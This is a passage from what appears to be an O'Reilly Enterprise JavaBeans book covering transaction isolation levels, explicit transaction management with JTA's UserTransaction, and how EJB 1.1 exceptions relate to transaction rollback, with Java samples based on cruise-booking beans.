Most transactions use the Ship bean's get methods to obtain information. This is read-only behavior, so the isolation level for the get methods can be very low, such as Read Uncommitted. The set methods of the ship bean are almost never used; the name of the ship probably wouldn't change for years. However, the data changed by the set methods must be isolated to prevent dirty reads by other transactions, so we will use the most restrictive isolation level, Serializable, on the ship's set methods. By using different isolation levels on different business methods, we can balance consistency against performance.

8.3.4.1. EJB 1.1: Controlling isolation levels

Different EJB servers allow different levels of granularity for setting isolation levels; some servers defer this responsibility to the database. In some servers, you may be able to set different isolation levels for different methods, while other products may require the same isolation level for all methods in a bean, or possibly even all beans in the container. You will need to consult your vendor's documentation to find out the level of control your server offers.

Bean-managed transactions in stateful session beans, however, allow the bean developer to specify the transaction isolation level using the API of the resource providing persistent storage. The JDBC API, for example, provides a mechanism for specifying the isolation level of the database connection. The following code shows how this is done. Bean-managed transactions are covered in more detail later in this chapter.

...
DataSource source = (javax.sql.DataSource)
    jndiCntxt.lookup("java:comp/env/jdbc/titanDB");

Connection con = source.getConnection();
con.setTransactionIsolation(Connection.TRANSACTION_SERIALIZABLE);
...

You can set the isolation level to be different for different databases within the same transaction, but all beans that use the same database in a transaction should use the same isolation level.

8.3.4.2. EJB 1.0: Controlling isolation levels

The following code, taken from a deployment descriptor for a Ship bean, shows one way to assign these isolation levels:

Method [] methods = new Method[6];

Class [] parameters = new Class[0];
methods[ 0 ] = ShipBean.class.getDeclaredMethod("getName",parameters);
methods[ 1 ] = ShipBean.class.getDeclaredMethod("getTonnage",parameters);
methods[ 2 ] = ShipBean.class.getDeclaredMethod("getCapacity",parameters);

parameters = new Class[1];

parameters[0] = String.class;
methods[ 3 ] = ShipBean.class.getDeclaredMethod("setName",parameters);
parameters[0] = Double.TYPE;
methods[ 4 ] = ShipBean.class.getDeclaredMethod("setTonnage",parameters);
parameters[0] = Integer.TYPE;
methods[ 5 ] = ShipBean.class.getDeclaredMethod("setCapacity",parameters);

ControlDescriptor [] cds = new ControlDescriptor[methods.length];

for (int i = 0; i < methods.length; i++) {
    cds[i] = new ControlDescriptor(methods[i]);
    if (methods[i].getReturnType() == Void.TYPE) {
        // Set methods all return void.
        cds[i].setIsolationLevel(
            ControlDescriptor.TRANSACTION_SERIALIZABLE);
    }
    else {
        // Get methods don't return void.
        cds[i].setIsolationLevel(
            ControlDescriptor.TRANSACTION_READ_UNCOMMITTED);
    }
    cds[i].setRunAsMode(ControlDescriptor.CLIENT_IDENTITY);
    cds[i].setTransactionAttribute(ControlDescriptor.TX_REQUIRED);
}

shipDD.setControlDescriptors(cds);

This code takes all the set methods in the Ship interface that are used to make updates (setName(), setCapacity(), setTonnage()) and gives them an isolation level of TRANSACTION_SERIALIZABLE. For the get methods (getName(), getCapacity(), getTonnage()), which are used for reading data, the isolation level is set to TRANSACTION_READ_UNCOMMITTED.

NOTE

Remember that all bean methods invoked in the same transaction must have the same isolation level.

Understanding the effect of isolation levels on your code's behavior is crucial to balancing performance against consistency. In EJB 1.0, all the bean methods invoked within the same transaction must have the same isolation level. In the TravelAgent bean, for example, every method invoked on every bean within the scope of the bookPassage() method must have the same transaction isolation level. Any method invoked with a different isolation level will throw a java.rmi.RemoteException. Therefore, mixing isolation levels across beans (specifying different isolation levels for different beans within your application) must be done with care and only in those circumstances when methods with different isolation levels will never need to be executed in the same transaction.

Previous | Home | Next
8.2. Declarative Transaction Management | Book Index | 8.4. Non-Transactional Beans
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Non-Transactional Beans (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

8.4. Non-Transactional Beans

Beans that reside outside a transaction scope normally provide some kind of stateless service that doesn't directly manipulate data in a data store. While these types of beans may be necessary as utilities during a transaction, they do not need to meet the stringent ACID requirements of a transaction.

Consider a non-transactional stateless session bean, the QuoteBean, that provides live stock quotes. This bean may respond to a request from a transactional bean involved in a stock purchase transaction. The success or failure of the stock purchase, as a transaction, will not impact the state or operations of the QuoteBean, so it doesn't need to be part of the transaction. Beans that are involved in transactions are subjected to the isolated ACID property, which means that their services cannot be shared during the life of the transaction. Making a bean transactional is an expensive runtime activity. Declaring a bean to be non-transactional (i.e., Not Supported ) leaves it out of the transaction scope, which improves the performance and availability of that service.

Previous | Home | Next
8.3. Isolation and Database Locking | Book Index | 8.5. Explicit Transaction Management
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Explicit Transaction Management (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

8.5. Explicit Transaction Management

NOTE

Although this section covers JTA, it is strongly recommended that you do not attempt to manage transactions explicitly. Through transaction attributes, EJB provides a comprehensive and simple mechanism for delimiting transactions at the method level and propagating transactions automatically. Only developers with a thorough understanding of transactional systems should attempt to use JTA with EJB.

In EJB, implicit transaction management is provided on the bean method level so that we can define transactions that are delimited by the scope of the method being executed. This is one of the primary advantages of EJB over cruder distributed object implementations: it reduces complexity and therefore programmer error. In addition, declarative transaction demarcation, as used in EJB, separates the transactional behavior from the business logic; a change to transactional behavior does not require changes to the business logic. In rare situations, however, it may be necessary to take control of transactions explicitly. To do this, it is necessary to have a much more complete understanding of transactions.

Explicit management of transactions is complex and is normally accomplished using the OMG's OTS (Object Transaction Service) or the Java implementation of OTS, JTS ( Java Transaction Service). OTS and JTS provide APIs that allow developers to work with transaction managers and resources (databases) directly. While the JTS implementation of OTS is robust and complete, it is not the easiest API to work with; it requires clean and intentional control over the bounds of enrollment in transactions.

Enterprise JavaBeans supports a much simpler API, the Java Transaction API (JTA), for working with transactions.[4] This API is implemented by the javax.transaction package. JTA actually consists of two components: a high-level transactional client interface and a low-level X/Open XA interface. We are concerned with the high-level client interface since that is the one accessible to the beans and is the recommended transactional interface for client applications. The low-level XA interface is used by the EJB server and container to automatically coordinate transactions with resources like databases.

[4] Enterprise JavaBeans 1.0 originally specified JTS as the transitional API for explicit demarcation. JTA, which was released after EJB, is the preferred API in both EJB 1.0 and EJB 1.1. Both JTS and JTA, however, use the UserTransaction interface, and so the information here is applicable to servers that support either API.

As an application and bean developer, you will not work with the XA interface in JTA. Instead, your use of explicit transaction management will focus on one very simple interface: javax.transaction.UserTransaction. UserTransaction provides an interface to the transaction manager that allows the application developer to manage the scope of a transaction explicitly. Here is an example of how explicit demarcation might be used in a bean or client application:

// EJB 1.0: Use native casting instead of narrow()
Object ref = getInitialContext().lookup("travelagent.Home");
TravelAgentHome home = (TravelAgentHome)
    PortableRemoteObject.narrow(ref,TravelAgentHome.class);

TravelAgent tr1 = home.create(customer);
tr1.setCruiseID(cruiseID);
tr1.setCabinID(cabin_1);
TravelAgent tr2 = home.create(customer);
tr2.setCruiseID(cruiseID);
tr2.setCabinID(cabin_2);

javax.transaction.UserTransaction tran = ...; // Get the UserTransaction.
tran.begin();
tr1.bookPassage(visaCard,price);
tr2.bookPassage(visaCard,price);
tran.commit();

The client application needs to book two cabins for the same customer--in this case, the customer is purchasing a cabin for himself and his children. The customer doesn't want to book either cabin unless he can get both, so the client application is designed to include both bookings in the same transaction. Explicitly marking the transaction's boundaries through the use of the javax.transaction.UserTransaction object does this. Each bean method invoked by the current thread between the UserTransaction.begin() and UserTransaction.commit() method is included in the same transaction scope, according to transaction attribute of the bean methods invoked.

Obviously this example is contrived, but the point it makes is clear. Transactions can be controlled directly, instead of depending on method scope to delimit them. The advantage of using explicit transaction demarcation is that it gives the client control over the bounds of a transaction. The client, in this case, may be a client application or another bean.[5] In either case, the same javax.transaction.UserTransaction is used, but it is obtained from different sources depending on whether it is needed on the client or in a bean class.

[5] Only beans declared as managing their own transactions (bean-managed transaction beans) can use the UserTransaction interface.

EJB 1.1: how client applications obtain the UserTransaction object

Java 2 Enterprise Edition (J2EE) specifies how a client application can obtain a UserTransaction object using JNDI. Here's how a client obtains a UserTransaction object if the EJB 1.1 container is part of a J2EE system:

...
Context jndiCntx = new InitialContext();
UserTransaction tran =
    (UserTransaction)jndiCntx.lookup("java:comp/UserTransaction");

utx.begin();
...
utx.commit();
...

J2EE and its relationship with EJB 1.1 is covered in more detail in Chapter 11, "Java 2, Enterprise Edition".

EJB 1.0: how client applications obtain the UserTransaction object

EJB 1.0 doesn't specify how client applications should obtain a reference to a UserTransaction. Many vendors make the UserTransaction available to the client application through JNDI. Here's how a client application obtains a UserTransaction using JNDI:

UserTransaction ut = (UserTransaction)
    jndiContext.lookup("javax.transaction.UserTransaction");

EJB servers may use other mechanisms, such as a proprietary API or casting the home interface into a UserTransaction.

Beans can also manage transactions explicitly. In EJB 1.1, only session beans with the <transaction-type> value of "Bean" can be bean-managed transaction beans. Entity beans can never be bean-managed transaction beans. Beans that manage their own transactions do not declare transaction attributes for their methods. Here's how an EJB 1.1 session bean declares that it will manage transactions explicitly:

<ejb-jar>
 <enterprise-beans>
 ...
   <session>
   ...
   <transaction-type>Bean</transaction-type>
   ...

In EJB 1.0, only beans with the transaction attribute TX_BEAN_MANAGED for its methods are considered bean-managed transaction beans. Entity beans as well as session beans can manage their own transactions.

To manage its own transaction, a bean needs to obtain a UserTransaction object. A bean obtains a reference to the UserTransaction from the EJBContext, as shown below:

public class HypotheticalBean extends SessionBean {
  SessionContext ejbContext;

  public void someMethod() {
   try {
    UserTransaction ut = ejbContext.getUserTransaction();
    ut.begin();

    // Do some work.

    ut.commit();
    } catch(IllegalStateException ise) {...}
      catch(SystemException se) {...}
      catch(TransactionRolledbackException tre) {...}
      catch(HeuristicRollbackException hre) {...}
      catch(HeuristicMixedException hme) {...}

An EJB 1.1 bean can access the UserTransaction from the EJBContext as shown in the previous example or from the JNDI ENC as shown in the following example. Both methods are legal and proper in EJB 1.1. The bean performs the lookup using the "java:comp/env/UserTransaction" context:

InitialContext jndiCntx = new InitialContext();
UserTransaction tran = (UserTransaction)
    jndiCntx.lookup("java:comp/env/UserTransaction");

8.5.1. Transaction Propagation in Bean-Managed Transactions

With stateless session beans (and entity beans in EJB 1.0), transactions that are managed using the UserTransaction must be started and completed within the same method, as shown previously. In other words, UserTransaction transactions cannot be started in one method and ended in another. This makes sense because both entity and stateless session bean instances are shared across many clients.

With stateful session beans, however, a transaction can begin in one method and be committed in another because a stateful session bean is only used by one client. This allows a stateful session bean to associate itself with a transaction across several different client-invoked methods. As an example, imagine the TravelAgent bean as a bean-managed transaction bean. In the following code, the transaction is started in the setCruiseID() method and completed in the bookPassage() method. This allows the TravelAgent bean's methods to be associated with the same transaction.

 public class TravelAgentBean implements javax.ejb.SessionBean {

    public Customer customer;
    public Cruise cruise;
    public Cabin cabin;
    public javax.ejb.SessionContext ejbContext;
    ...
    public void setCruiseID(int cruiseID)
    throws javax.ejb.FinderException{
    // EJB 1.0: also throws RemoteException

        try {
        ejbContext.getUserTransaction().begin();

            CruiseHome home = (CruiseHome)getHome("CruiseHome", CruiseHome.class);
            cruise = home.findByPrimaryKey(new CruisePK(cruiseID));
        } catch(Exception re) {
            // EJB 1.0: throw new RemoteException("",re);
            throw new EJBException(re);
        }
     }

public Ticket bookPassage(CreditCard card, double price)
    throws IncompleteConversationalState { // EJB 1.0: also throws RemoteException
        try {
            if (ejbContext.getUserTransaction().getStatus() !=
               javax.transaction.Status.STATUS_ACTIVE) {
            // EJB 1.0: throw new RemoteException("Transaction is not active");
            throw new EJBException("Transaction is not active");
            }
        } catch(javax.transaction.SystemException se) {
          // EJB 1.0: throw new RemoteException("",se);
          throw new EJBException(se);
        }

        if (customer == null || cruise == null || cabin == null) {
            throw new IncompleteConversationalState();
        }
        try {
            ReservationHome resHome = (ReservationHome)
                getHome("ReservationHome",ReservationHome.class);
            Reservation reservation =
            resHome.create(customer, cruise, cabin, price);
            ProcessPaymentHome ppHome = (ProcessPaymentHome)
                getHome("ProcessPaymentHome",ProcessPaymentHome.class);
            ProcessPayment process = ppHome.create();
            process.byCredit(customer, card, price);

            Ticket ticket = new Ticket(customer,cruise,cabin,price);
                ejbContext.getUserTransaction().commit();
            return ticket;
        } catch(Exception e) {
            // EJB 1.0: throw new RemoteException("",e);
            throw new EJBException(e);
        }
    }
    ...
}

Repeated calls to the EJBContext.getUserTransaction() method return a reference to the same UserTransaction object. The container is required to retain the association between the transaction and the stateful bean instance across multiple client calls until the transaction terminates.

In the bookPassage() method, we can check the status of the transaction to ensure that it's still active. If the transaction is no longer active, we throw an exception. The use of the getStatus() method is covered in more detail later in this chapter.

When a bean-managed transaction method is invoked by a client that is already involved in a transaction, the client's transaction is suspended until the bean method returns. This suspension occurs whether the bean-managed transaction bean explicitly starts its own transaction within the method or, in the case of stateful beans, the transaction was started in a previous method invocation. The client transaction is always suspended until the bean-managed transaction method returns.

NOTE

Transaction control across methods is strongly discouraged because it can result in improperly managed transactions and long-lived transactions that lock up resources.

8.5.2. Heuristic Decisions

Transactions are normally controlled by a transaction manager(often the EJB server) that manages the ACID characteristics across several beans, databases, and servers. This transaction manager uses a two-phase commit (2-PC) to manage transactions. 2-PC is a protocol for managing transactions that commits updates in two stages. 2-PC is complex and outside the scope of this book, but basically it requires that servers and databases cooperate to ensure that all the data is made durable together. Some EJB servers support 2-PC while others don't, and the value of this transaction mechanism is a source of some debate. The important point to remember is that a transaction manager controls the transaction; based on the results of a poll against the resources (databases and other servers), it decides whether all the updates should be committed or rolled back. A heuristic decisionis when one of the resources makes a unilateral decision to commit or roll back without permission from the transaction manager. Once a heuristic decision has been made, the atomicity of the transaction is lost and possible data integrity errors can occur.

UserTransaction, discussed in the next section, throws a couple of different exceptions related to heuristic decisions; these are included in the following discussion.

8.5.3. UserTransaction

UserTransaction is a Java interface that is defined in the following code. In EJB 1.0, the EJB server is only required to support the functionality of this interface and the Status interface discussed here. EJB servers are not required to support the rest of JTA, nor are they required to use JTS for their transaction service. The UserTransaction is defined as follows:

public interface javax.transaction.UserTransaction
{
    public abstract void begin()
       throws IllegalStateException, SystemException;
    public abstract void commit()
        throws IllegalStateException, SystemException,
               TransactionRolledbackException,
               HeuristicRollbackException, HeuristicMixedException;
    public abstract int getStatus();
    public abstract void rollback()
       throws IllegalStateException, SecurityException, SystemException;
    public abstract void setRollbackOnly()
       throws IllegalStateException, SystemException;
    public abstract void setTransactionTimeout(int seconds)
        throws SystemException;
}

Here's what the methods defined in this interface do:

begin()

Invoking the begin() method creates a new transaction. The thread that executes the begin() method is immediately associated with the new transaction. The transaction is propagated to any bean that supports existing transactions. The begin() method can throw one of two checked exceptions. IllegalStateException is thrown when begin() is called by a thread that is already associated with a transaction. You must complete any transactions associated with that thread before beginning a new transaction. SystemException is thrown if the transaction manager (the EJB server) encounters an unexpected error condition.

commit()

The commit() method completes the transaction that is associated with the current thread. When commit() is executed, the current thread is no longer associated with a transaction. This method can throw several checked exceptions. IllegalStateException is thrown if the current thread is not associated with a transaction. SystemException is thrown if the transaction manager (the EJB server) encounters an unexpected error condition. TransactionRolledbackException is thrown when the entire transaction is rolled back instead of committed; this can happen if one of the resources was unable to perform an update or if the UserTransaction.rollBackOnly() method was called. HeuristicRollbackException indicates that heuristic decisions were made by one or more resources to roll back the transaction. HeuristicMixedException indicates that heuristic decisions were made by resources to both roll back and commit the transaction; some resources decided to roll back while others decided to commit.

rollback()

The rollback() method is invoked to roll back the transaction and undo updates. The rollback() method can throw one of three different checked exceptions. SecurityException is thrown if the thread using the UserTransaction object is not allowed to roll back the transaction. IllegalStateException is thrown if the current thread is not associated with a transaction. SystemException is thrown if the transaction manager (the EJB server) encounters an unexpected error condition.

setRollBackOnly()

This method is invoked to mark the transaction for rollback. This means that, whether or not the updates executed within the transaction succeed, the transaction must be rolled back when completed. This method can be invoked by any TX_BEAN_MANAGED bean participating in the transaction or by the client application. The setRollBackOnly() method can throw one of two different checked exceptions. IllegalStateException is thrown if the current thread is not associated with a transaction. SystemException is thrown if the transaction manager (the EJB server) encounters an unexpected error condition.

setTransactionTimeout(int seconds)

This method sets the life span of a transaction: how long it will live before timing out. The transaction must complete before the transaction timeout is reached. If this method is not called, the transaction manager (EJB server) automatically sets the timeout. If this method is invoked with a value of seconds, the default timeout of the transaction manager will be used. This method must be invoked after the begin() method. SystemException is thrown if the transaction manager (EJB server) encounters an unexpected error condition.

getStatus()

The getStatus() method returns an integer that can be compared to constants defined in the javax.transaction.Status interface. This method can be used by a sophisticated programmer to determine the status of a transaction associated with a UserTransaction object. SystemException is thrown if the transaction manager (EJB server) encounters an unexpected error condition.

8.5.4. Status

Status is a simple interface that contains no methods, only constants. Its sole purpose is to provide a set of constants that describe the current status of a transactional object--in this case, the UserTransaction:

interface javax.transaction.Status
{
   public final static int STATUS_ACTIVE;
   public final static int STATUS_COMMITTED;
   public final static int STATUS_COMMITTING;
   public final static int STATUS_MARKED_ROLLBACK;
   public final static int STATUS_NO_TRANSACTION;
   public final static int STATUS_PREPARED;
   public final static int STATUS_PREPARING;
   public final static int STATUS_ROLLEDBACK;
   public final static int STATUS_ROLLING_BACK;
   public final static int STATUS_UNKNOWN;
}

The value returned by getStatus() tells the client using the UserTransaction the status of a transaction. Here's what the constants mean:

STATUS_ACTIVE

An active transaction is associated with the UserTransaction object. This status is returned after a transaction has been started and prior to a transaction manager beginning a 2-PC commit. (Transactions that have been suspended are still considered active.)

STATUS_COMMITTED

A transaction is associated with the UserTransaction object; the transaction has been committed. It is likely that heuristic decisions have been made; otherwise, the transaction would have been destroyed and the STATUS_NO_TRANSACTION constant would have been returned instead.

STATUS_COMMITTING

A transaction is associated with the UserTransaction object; the transaction is in the process of committing. The UserTransaction object returns this status if the transaction manager has decided to commit but has not yet completed the process.

STATUS_MARKED_ROLLBACK

A transaction is associated with the UserTransaction object; the transaction has been marked for rollback, perhaps as a result of a UserTransaction.setRollbackOnly() operation invoked somewhere else in the application.

STATUS_NO_TRANSACTION

No transaction is currently associated with the UserTransaction object. This occurs after a transaction has completed or if no transaction has been created. This value is returned rather than throwing an IllegalStateException.

STATUS_PREPARED

A transaction is associated with the UserTransaction object. The transaction has been prepared, which means that the first phase of the two-phase commit process has completed.

STATUS_PREPARING

A transaction is associated with the UserTransaction object; the transaction is in the process of preparing, which means that the transaction manager is in the middle of executing the first phase of the two-phase commit.

STATUS_ROLLEDBACK

A transaction is associated with the UserTransaction object; the outcome of the transaction has been identified as a rollback. It is likely that heuristic decisions have been made; otherwise, the transaction would have been destroyed and the STATUS_NO_TRANSACTION constant would have been returned.

STATUS_ROLLING_BACK

A transaction is associated with the UserTransaction object; the transaction is in the process of rolling back.

STATUS_UNKNOWN

A transaction is associated with the UserTransaction object; its current status cannot be determined. This is a transient condition and subsequent invocations will ultimately return a different status.

8.5.5. EJBContext Rollback Methods

Only beans that manage their own transactions have access to the User-Transaction from the EJBContext. To provide other types of beans with an interface to the transaction, the EJBContext interface provides the methods setRollbackOnly() and getRollbackOnly().

The setRollbackOnly() method gives a bean the power to veto a transaction. This power can be used if the bean detects a condition that would cause inconsistent data to be committed when the transaction completes. Once a bean invokes the setRollbackOnly() method, the current transaction is marked for rollback and cannot be committed by any other participant in the transaction--including the container.

The getRollbackOnly() method returns true if the current transaction has been marked for rollback. This can be used to avoid executing work that wouldn't be committed anyway. If, for example, an exception is thrown and captured within a bean method, this method can be used to determine whether the exception caused the current transaction to be rolled back. If it did, there is no sense in continuing the processing. If it didn't, the bean has an opportunity to correct the problem and retry the task that failed. Only expert bean developers should attempt to retry tasks within a transaction. Alternatively, if the exception didn't cause a rollback (getRollbackOnly() returns false), a rollback can be forced using the setRollbackOnly() method .

Beans that manage their own transaction must not use the setRollbackOnly() and getRollbackOnly() methods of the EJBContext. These beans should use the getStatus() and rollback() methods on the UserTransaction object to check for rollback and force a rollback respectively.

Previous | Home | Next
8.4. Non-Transactional Beans | Book Index | 8.6. EJB 1.1: Exceptions and Transactions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


EJB 1.1: Exceptions and Transactions (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

8.6. EJB 1.1: Exceptions and Transactions

8.6.1. Application Exceptions Versus System Exceptions

In EJB 1.1, an application exception is any exception that does not extend java.lang.RuntimeException or the java.rmi.RemoteException. System exceptions are java.lang.RuntimeException and java.rmi.RemoteException types and subtypes, including EJBException.

Transactions are automatically rolled back if a system exception is thrown from a bean method. Transactions are not automatically rolled back if an application exception is thrown. If you remember these two rules, you will be well prepared to deal with exceptions and transactions in EJB 1.1.

The bookPassage() method provides a good illustration of an application exception and how it's used. The following code shows the bookPassage() method with the relevant exception handling in bold:

public Ticket bookPassage(CreditCard card, double price)
    throws IncompleteConversationalState {

    if (customer == null || cruise == null || cabin == null) {
        throw new IncompleteConversationalState();
    }
    try {
        ReservationHome resHome = (ReservationHome)
            getHome("ReservationHome",ReservationHome.class);
        Reservation reservation =
        resHome.create(customer, cruise, cabin, price);
        ProcessPaymentHome ppHome = (ProcessPaymentHome)
            getHome("ProcessPaymentHome",ProcessPaymentHome.class);
        ProcessPayment process = ppHome.create();
        process.byCredit(customer, card, price);

        Ticket ticket = new Ticket(customer,cruise,cabin,price);
        return ticket;
        } catch(Exception e) {
            throw new EJBException(e);
        }
}

8.6.1.1. System exceptions

System exceptions are RuntimeExceptions, RemoteExceptions, and their subtypes. The EJBException is a subclass of the RuntimeException, so it's considered a system exception.

System exceptions always cause a transaction to roll back when thrown from a bean method. Any RuntimeException (NullPointerException, IndexOutOfBoundsException, etc.) thrown within the bookPassage() method is handled by the container automatically, and also results in a transaction rollback. In Java, RuntimeException types do not need to be declared in the throws clause of the method signature or handled using try/catch blocks; they are automatically thrown from the method.

System exceptions thrown from within beans always cause the current transaction to roll back. If the method in which the exception occurs started the transaction, the transaction is rolled back. If the transaction started from a client that invoked the method, the client's transaction is marked for rollback and cannot be committed.

System exceptions are handled automatically by the container, which will always:

  • Roll back the transaction

  • Log the exception to alert the system administrator

  • Discard the bean instance

  • Throw a RemoteException or one of its subtypes

Exceptions thrown from the callback methods (ejbLoad(), ejbActivate(), etc.) are treated the same as exceptions thrown from business methods.

While EJB 1.1 requires that system exceptions be logged, it does not specify how exceptions should be logged or the format of the log file. The exact mechanism for recording the exception and reporting it to the system administrator is left to the vendor.

When a system exception occurs, the bean instance is discarded, which means that it's dereferenced and garbage collected. The container assumes that the bean instance may have corrupt variables or otherwise be unstable, and is therefore unsafe to use.

The impact of discarding a bean instance depends on the bean's type. In the case of stateless session beans and entity beans, the client does not notice that the instance was discarded. These types of beans are not dedicated to a particular client; they are swapped in and out of an instance pool, so any instance can service a new request. With stateful session beans, however, the impact on the client is severe. Stateful session beans are dedicated to a single client and maintain conversational state. Discarding a stateful bean instance destroys the instance's conversation state and invalidates the client's reference to the bean. When stateful session instances are discarded, subsequent invocations of the bean's methods by the client result in a NoSuchObjectException, a subclass of the RemoteException.[6]

[6]Although the instance is always discarded with a RuntimeException, the impact on the remote reference may vary depending on the vendor.

When a system exception occurs and the instance is discarded, a RemoteException is always thrown to the client. If the client started the transaction, which was then propagated to the bean, a system exception (thrown by the bean method) will be caught by the container and rethrown as a javax.transaction.TransactionRolledbackException. The TransactionRolledbackException is a subtype of the RemoteException; it's a more explicit indication to the client that a rollback occurred. In all other cases, whether the bean is container-managed or bean-managed, a system exception thrown from within the bean method will be caught by the container and rethrown as a RemoteException. A system exception always results in a rollback of the transaction.

8.6.1.2. Application exceptions

An application exception is normally thrown in response to a business logic error, as opposed to a system error. They are always delivered directly to the client, without being repackaged as RemoteExceptions. They do not typically cause transactions to roll back; the client usually has an opportunity to recover after an application exception is thrown.

The bookPassage() method throws an application exception called IncompleteConversationalState; this is an application exception because it does not extend RuntimeException or RemoteException. The IncompleteConversationalState exception is thrown if one of the arguments passed into the bookPassage() method is null. (Application errors are frequently used to report validation errors like this.) In this case, the exception is thrown before tasks are started, and is clearly not the result of a subsystem (JDBC, Java RMI, JNDI, etc.) failure.

Because it is an application exception, throwing the IncompleteConversationalState exception does not result in a transaction rollback. The exception is thrown before any work is done, avoiding unnecessary processing by the bookPassage() method and providing the client (the bean or application that invoked the bookPassage() method) with an opportunity to recover and possibly retry the method call with valid arguments.

The ProcessPayment bean also throws an application exception, PaymentException, to indicate that a validation error has occurred. In the bookPassage() method, we have always allowed this exception to be captured by the try/catch block and rethrown as a EJBException, which would result in a transaction rollback. An alternative would be to rearrange the sequence of events a little and allow the bookPassage() method to throw the PaymentException. This approach would allow more concise reporting of the business error to the client and, if organized correctly, would avoid a transaction rollback. Upon catching the PaymentException, the client could attempt to recover by retrying the bookPassage() method with the valid payment arguments. The following code shows a revised bookPassage() method that illustrates this strategy. Notice that the payment is processed before the reservation and that more explicit exception handling allows the PaymentException (thrown by the byCredit() method) to escape the try/catch block, so it can be thrown by the bookPassage() method.

public Ticket bookPassage(CreditCard card, double price)
    throws IncompleteConversationalState, PaymentException {

    if (customer == null || cruise == null || cabin == null){
        throw new IncompleteConversationalState();
    }
    try {
        ProcessPaymentHome ppHome = (ProcessPaymentHome)
            getHome("ProcessPaymentHome",ProcessPaymentHome.class);
        ProcessPayment process = ppHome.create();
        process.byCredit(customer, card, price);

        ReservationHome resHome = (ReservationHome)
            getHome("ReservationHome", ReservationHome.class);

        Reservation reservation =
            resHome.create(customer, cruise, cabin, price);

        Ticket ticket = new Ticket(customer,cruise,cabin,price);
        return ticket;
    } catch(RemoteException re) {
        throw new EJBException(re);
    } catch(NamingException ne) {
        throw new EJBException(ne);
    } catch(CreateException ce) {
        throw new EJBException(ce);
    } catch(FinderException fe) {
        throw new EJBException(fe);
    }
}

Business methods defined in the remote interface can throw any kind of application exception. These application exceptions must be declared in the method signatures of the remote interface and in the corresponding method in the bean class.

The EJB create, find, and remove methods can also throw several exceptions defined in the javax.ejb package: CreateException, DuplicateKeyException, FinderException, ObjectNotFoundException, and RemoveException. These exceptions are also considered application exceptions: they are delivered to the client as is, without being repackaged as RemoteExceptions. Furthermore, these exceptions don't necessarily cause a transaction to roll back, giving the client the opportunity to retry the operation. These exceptions may be thrown by the beans themselves; in the case of container managed persistence (CMP), the container can also throw any of these exceptions while handling the bean's create, find, or remove methods (ejbCreate(), ejbFind...(), and ejbRemove()). The container might, for example, throw a CreateException if the container encounters a bad argument while attempting to insert a record for a container-managed bean. A bean developer can always choose to throw a standard application exception from the appropriate method regardless of how persistence is managed.

Here is a detailed explanation of the five standard application exceptions and the situations in which they are thrown:

CreateException

The CreateException is thrown by the create() method in the remote interface. This exception can be thrown by the container if the container is managing persistence, or it can be thrown explicitly by the bean developer in the ejbCreate() or ejbPostCreate() methods. This exception indicates that an application error has occurred (invalid arguments, etc.) while the bean was being created. If the container throws this exception, it may or may not roll back the transaction. Explicit transaction methods must be used to determine the outcome. Bean developers should roll back the transaction before throwing this exception only if data integrity is a concern.

DuplicateKeyException

The DuplicateKeyException is an subtype of the CreateException; it is thrown by the create() method in the remote interface. This exception can be thrown by the container, if the container is managing persistence, or it can be thrown explicitly by the bean developer in the ejbCreate() method. This exception indicates that a bean with the same primary key already exists in the database. The transaction is typically not rolled back by the bean provider or container before throwing this exception.

FinderException

The FinderException is thrown by the find methods in the home interface. This exception can be thrown by the container, if the container is managing persistence, or it can be thrown explicitly by the bean developer in the ejbFind...() methods. This exception indicates that an application error occurred (invalid arguments, etc.) while the container attempted to find the beans. Do not use this method to indicate that entities were not found. Multi-entity find methods return an empty collection if no entities were found; single-entity find methods throw an ObjectNotFoundException to indicate that no object was found. The transaction is typically not rolled back by the bean provider or container before throwing this exception.

ObjectNotFoundException

The ObjectNotFoundException is thrown from a single-entity find method to indicate that the container couldn't find the requested entity. This exception can be thrown by the container if the container is managing persistence, or it can be thrown explicitly by the bean developer in the ejbFind...() methods. This exception should not be thrown to indicate a business logic error (invalid arguments, etc.). Use the FinderException to indicate business logic errors in single-entity find methods. The ObjectNotFoundException is only thrown by single-entity find methods to indicate that the entity requested was not found. Find methods that return multiple entities should return an empty collection if nothing is found. The transaction is typically not rolled back by the bean provider or container before throwing this exception.

RemoveException

The RemoveException is thrown from the remove() methods in the remote and home interfaces. This exception can be thrown by the container, if the container is managing persistence, or it can be thrown explicitly by the bean developer in the ejbRemove() method. This exception indicates that an application error has occurred while the bean was being removed. The transaction may or may not have been rolled back by the container before throwing this exception. Explicit transaction methods must be used to determine the outcome. Bean developers should roll back the transaction before throwing the exception only if data integrity is a concern.

Table 8-3 summarizes the interactions between different types of exceptions and transactions.

Table 8-3. Exception Summary

Transaction Scope

Transaction Type Attributes

Exception Thrown

Container's Action

Client's View

Client Initiated Transaction

Transaction is started by the client (application or bean) and is propagated to the bean method.

transaction-type =

Container

transaction-attribute =

Required |

Mandatory |

Supports |

Application Exception

If the bean invoked setRollbackOnly(), then mark the client's transaction for rollback.

Rethrow the Application Exception.

Receives the Application Exception. The client's transaction may or may not have been marked for rollback.

System Exception

Mark the client's transaction for rollback.

Log the error.

Discard the instance.

Rethrow the TransactionRollbackException.

Receives the TransactionRollbackException

The client's transaction has been rolled back.

Container Initiated Transaction

The transaction started when the bean's method was invoked and will end when method completes.

transaction-type =

Container

transaction-attribute =

Required |

RequiresNew

Application Exception

If the bean called setRollbackOnly(), then roll back the transaction and rethrow the Application Exception.

If the bean didn't explicitly roll back the transaction, then attempt to commit the transaction and rethrow the Application Exception.

Receives the Application Exception. The bean's transaction may or may not have been rolled back. The client's transaction is not affected.

System Exception

Roll back the transaction.

Log the error.

Discard the instance.

Rethrow RemoteException.

Receives the RemoteException.

The bean's transaction was rolled back.

The client's transaction is not affected.

Bean is not part of a transaction

The bean was invoked but does not propagate the client's transaction and does not start its own transaction.

transaction-type =

Container

transaction-attribute =

Never |

NotSupported |

Supports |

Application Exception

Rethrow the Application Exception.

Receives the Application Exception.

The client's transaction is not affected.

System Exception

Log the error.

Discard the instance.

Rethrow RemoteException.

Receives the RemoteException.

The client's transaction is not affected.

Bean Managed Transaction.

The stateful or stateless session bean uses the EJBContext to explicitly manage its own transaction

transaction-type =

bean

